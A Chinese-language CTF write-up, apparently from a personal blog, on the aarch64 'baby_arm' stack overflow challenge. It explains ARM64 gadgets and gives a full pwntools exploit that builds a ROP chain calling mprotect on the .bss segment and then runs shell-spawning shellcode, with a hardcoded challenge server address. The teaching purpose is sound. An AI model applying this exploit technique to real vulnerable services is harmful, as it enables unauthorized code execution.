本文最后更新于:星期三, 一月 2日 2019, 4:09 下午
baby_arm
题如其名,这是一道arm下的pwn,用file查看了下文件信息
zs0zrc@zs0zrc-PC:~/pwn/babyarm$ file arm_pwn
arm_pwn: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
这是一道aarch64的pwn题,我之前ubuntu的环境有点小问题,所以我配了一个deepin的环境搭建教程
安装下共享库
zs0zrc@zs0zrc-PC:~/pwn/babyarm$ apt-cache search "libc6" | grep arm
libc6-arm64-cross - GNU C Library: Shared libraries (for cross-compiling)
libc6-armel-cross - GNU C Library: Shared libraries (for cross-compiling)
libc6-armhf-cross - GNU C Library: Shared libraries (for cross-compiling)
libc6-dev-arm64-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling)
libc6-dev-armel-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling)
libc6-dev-armhf-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling)
zs0zrc@zs0zrc-PC:~/pwn/babyarm$ sudo apt-get install libc6-arm64-cross
用ida反编译了下文件,发现漏洞点很明显,就是一个栈溢出
__int64 sub_400818()
{
sub_400760();
write(1, "Name:", 5uLL);
read(0, &unk_411068, 0x200uLL);
sub_4007F0();
return 0LL;
}
ssize_t sub_4007F0()
{
__int64 v1; // [xsp+10h] [xbp+10h]
return read(0, &v1, 0x200uLL); //stack overflow
}
程序先向bss段写入内容,然后再读取一个字符串,很明显这应该是用rop来做,但是我arm64的rop不是很会,arm64的汇编不是很懂,找不到gadget,就 ……..
这里看了大佬的writeup,发现是用rop做,先利用rop执行mprotect函数,设置bss段为可执行,往bss段写入shellcode,然后去执行shellcode来getshell
这里找的gadget类似于万用gadget
先学习下amd64常用汇编指令
MOV X1,X0 ;将寄存器X0的值传送到寄存器X1
ADD X0,X1,X2 ;寄存器X1和X2的值相加后传送到X0
SUB X0,X1,X2 ;寄存器X1和X2的值相减后传送到X0
AND X0,X0,#0xF ; X0的值与0xF相位与后的值传送到X0
ORR X0,X0,#9 ; X0的值与9相位或后的值传送到X0
EOR X0,X0,#0xF ; X0的值与0xF相异或后的值传送到X0
LDR X5,[X6,#0x08] ;X6寄存器加0x08的和的地址值内的数据传送到X5
STR X0, [SP, #0x8] ;X0寄存器的数据传送到SP+0x8地址值指向的存储空间
STP x29, x30, [sp, #0x10] ;入栈指令
LDP x29, x30, [sp, #0x10] ;出栈指令
CBZ ;比较(Compare),如果结果为零(Zero)就转移(只能跳到后面的指令)
CBNZ ;比较,如果结果非零(Non Zero)就转移(只能跳到后面的指令)
CMP ;比较指令,相当于SUBS,影响程序状态寄存器CPSR
B/BL ;绝对跳转#imm, 返回地址保存到LR(X30)
RET ;子程序返回指令,返回地址默认保存在LR(X30)
然后分析下这个gadget,通过loc_4008CC 函数,可以控制x19,x20,x21,x22,x23,x24,x29和x30寄存器的内容,而x30寄存器存储着返回地址,通过loc_4008AC函数,可以控制w0,x1,x2,x3寄存器的内容,并且可以执行call x3
loc_4008AC ; CODE XREF: sub_400868+60↓j
LDR X3, [X21,X19,LSL#3] ;将x21寄存器的地址指向的内容赋给x3寄存器
MOV X2, X22 ;将x22寄存器的内容赋给x2
MOV X1, X23 ;将x23寄存器的内容赋给x1
MOV W0, W24 ;将W24寄存器的内容赋给W0
ADD X19, X19, #1 ;x19寄存器加一
BLR X3 ;跳转到x3寄存器指向的地址
CMP X19, X20 ;比较x19和x20是否相等
B.NE loc_4008AC ;如果不相等,就跳回loc_4008AC继续执行
loc_4008CC ; CODE XREF: sub_400868+3C↑j
LDP X19, X20, [SP,#0x10] ;将sp+0x10,sp+0x18处的内容给x19,x20
LDP X21, X22, [SP,#0x20] ;将sp+0x20,sp+0x28处的内容给x21,x22
LDP X23, X24, [SP,#0x30] ;将sp+0x30,sp+0x38处的内容给x23,x24
LDP X29, X30, [SP],#0x40 ;将sp,sp+0x8处的内容给x29,x30
RET
布置好的栈如下,在执行完loc_4008CC 函数后,x30为loc_4008AC 的地址,所以程序会跳转到loc_4008AC 函数,会将x21寄存器的地址指向的内容赋给x3寄存器,然后将对应的参数放入x0,x1,x2寄存器中,接着会执行blr x3语句,这相当于 call x3,所以就会调用构造好的mprotect(0x411000,0x1000,0x5)函数,调用完mprotect函数后会将继续向下执行,比较x19和x20是否相等,这里提前构造好,使它们相等,然后继续向下执行。执行一连串的ldp指令后,将shellcode的地址赋给x30,那么最后就会ret到shellcode处去执行它。
00:0000│ sp 0x40007ffe40 ◂— 0x0 --> x29
01:0008│ 0x40007ffe48 —▸ 0x4008ac ◂— ldr x3, [x21, x19, lsl #3] --> x30
02:0010│ 0x40007ffe50 ◂— 0x0 --> x19
03:0018│ 0x40007ffe58 ◂— 0x1 --> x20
04:0020│ 0x40007ffe60 —▸ 0x411168 —▸ 0x400600 (mprotect@plt) --> x21 -->x3
05:0028│ 0x40007ffe68 ◂— 0x5 --> x22 -->x2
06:0030│ 0x40007ffe70 ◂— 0x1000 -->x23 -->x1
07:0038│ 0x40007ffe78 —▸ 0x411000 -->x24-->w0
08:0040│ 0x40007ffe80 ◂— 0x0
09:0048│ 0x40007ffe88 —▸ 0x411068 -->下一个x30,shellcode的地址
0a:0050│ 0x40007ffe90 ◂— 0xdeadbeef *6
...........
这里用pwntools生成aarch64的shellcode会报错 解决方法(Ubuntu下)
$ sudo apt-get install software-properties-common $ sudo apt-add-repository ppa:pwntools/binutils $ sudo apt-get update $ sudo apt-get install binutils-aarch64-linux-gnu
exp:
#!/usr/bin/env python
from pwn import *
local=0
debug = 0
if local:
p = remote("106.75.126.171","33865")
elif debug:
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "pwn"])
else:
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "pwn"])
elf = ELF("pwn")
context.binary = "pwn"
context.log_level = "debug"
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
buf = asm(shellcraft.aarch64.sh())
buf = buf.ljust(0x100,'\x00')
buf += p64(0x400600) #这里是存放mprotect函数的地址
size = 72
gadget1 = 0x4008CC
gadget2 = 0x4008AC
shellcode_add = 0x411068
mprotect_add = 0x411168
payload = cyclic(72) + flat([gadget1 , 0 , gadget2 , 0 , 1 , mprotect_add , 5 , 0x1000 , 0x411000 , 0 , shellcode_add] , [0xdeadbeef]*6)
rc()
sl(buf)
sl(payload)
p.interactive()
momo_serve
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!